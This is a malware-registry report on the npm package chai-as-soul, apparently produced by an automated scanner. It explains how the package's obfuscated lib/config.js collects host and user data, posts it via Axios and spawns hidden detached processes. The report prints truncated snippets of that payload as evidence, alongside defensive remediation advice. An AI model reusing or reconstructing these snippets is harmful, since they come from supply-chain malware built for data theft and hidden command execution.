registry / Malware / chai-as-soul

chai-as-soul

This document describes the management of vulnerabilities for the project and all modules within the organization.

This report shows the evidence for chai-as-soul@2.3.6. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The import-time payload combines host-data collection and outbound Axios submission with concealed detached process execution. The absence of lifecycle hooks limits the trigger to runtime import, but does not remove the concrete malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Import or execute the main index.js entrypoint.

Impact

Host reconnaissance, data exfiltration, and remote-controlled command execution.

Mechanism

Obfuscated host-data exfiltration and detached child-process execution.

Attack narrative

The advertised main entrypoint imports lib/config.js at module load. That obfuscated payload loads filesystem, OS, and child-process APIs; builds records containing host, OS, username, message, data, and timestamp values; submits them through Axios; and includes detached hidden process spawning. This behavior is unrelated to the declared middleware package and creates a concrete exfiltration and execution surface.

AI rationale

Evidence

index.jslib/config.jspackage.json

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js imports lib/config during normal module load.
lib/config.js is a heavily obfuscated 4 MB payload that loads fs, os, and child_process.
The payload collects host, OS, username, message, data, and timestamp fields, then sends them with Axios.
The payload invokes detached, hidden child-process execution.

Evidence against

package.json has no preinstall, install, or postinstall hook.
No plaintext network endpoint is recoverable without executing the obfuscated payload.

Behavioral surface

Source

ChildProcessEnvironmentVars

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 15 file(s), 307 KB of source, external domains: github.com

Oversized source lightweight scan

lib/config.js3.89 MB file, sampled 256 KB

Source & flagged code

7 flagged

lib/config.jsView file

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: (function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

High

Child Process

Package source references child process execution.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

1try{const os=require('\x6f\x73');const fs=require('\x66\x73');const path=require(mT(-0x108e,0x14f9,0x2d1,0x34e7,0x626));const {execSync,spawn}=require(mT(-0x75d,0x157,-0xe7c,0x2af6,0x2733)+mS(0xc98,-0x205,'\x58\x23\x74\x4d',0x25ab,0x21c5)+mY(-0x261e,-0x21a9,0x1454,0x56b,0x6a8));

High

Ai Review Evidence

lib/config.js is a heavily obfuscated 4 MB payload that loads fs, os, and child_process.

lib/config.jsView on unpkg · L1

1const v={'\x75\x6b\x65\x79':u_k,'\x74':t,'\x68\x6f\x73\x74':u_k+'\x5f'+B[dk(Bc.vQ,Bc.vL,Bc.vg,Bc.vI,Bc.vD)],'\x6f\x73':B['\x6f\x73'],'\x75\x73\x65\x72\x6e\x61\x6d\x65':B[dt(Bc.vw,Bc.vX,Bc.vb,Bc.vf,Bc.vU)+dr(Bc.vO,Bc.vp,Bc.vZ,Bc.vz,Bc.vh)],'\x6d\x65\x73\x73\x61\x67\x65':F,'\x6c\x65\x76\x65\x6c':S,'\x64\x61\x74\x61':Y,'\x74\x69\x6d\x65\x73\x74\x61\x6d\x70':V};const a=await axios[dg(Bc.vH,-Bc.vR,Bc.vs,Bc.vK,Bc.vG)](i,v,{

High

Ai Review Evidence

The payload collects host, OS, username, message, data, and timestamp fields, then sends them with Axios.

lib/config.jsView on unpkg · L1

1const I=i[yR(B5.lD,B5.lw,B5.lX,B5.lb,B5.lf)](spawn,process[ys(B5.lU,B5.lO,B5.lp,B5.lZ,B5.lz)+d1(B5.lh,B5.lH,-B5.lR,-B5.ls,B5.lK)],[i[yG(B5.lG,B5.c0,B5.c1,B5.c2,B5.c3)],i[d4(B5.c4,B5.c5,B5.c6,B5.c7,B5.c8)],'\x2d'],{'\x77\x69\x6e\x64\x6f\x77\x73\x48\x69\x64\x65':!![],'\x64\x65\x74\x61\x63\x68\x65\x64':!![],'\x73\x74\x64\x69\x6f'

High

Ai Review Evidence

The payload invokes detached, hidden child-process execution.

lib/config.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

lib/config.jsView file

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

High

Child Process

Package source references child process execution.

lib/config.jsView on unpkg · L1

Findings

2 Critical5 High2 Medium3 Low

CriticalDownload Executelib/config.js

CriticalTrigger Reachable Dangerous Capabilitylib/config.js

HighChild Processlib/config.js

HighSemantic Analysis Limitedlib/config.js

HighAi Review Evidencelib/config.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-as-soul@2.3.6.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-as-soul@2.3.6. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-21 04:00:14.657Z (UTC).

Source advisory published: 2026-08-21 03:48:16.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

2.3.6latestshownMaliciousMalwareBlockPublishedAug 20, 2026, 2:12 PM 2.3.5MaliciousMalwareBlockPublishedAug 20, 2026, 1:33 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Behavioral surface

Source & flagged code

Related packages

Other malware packages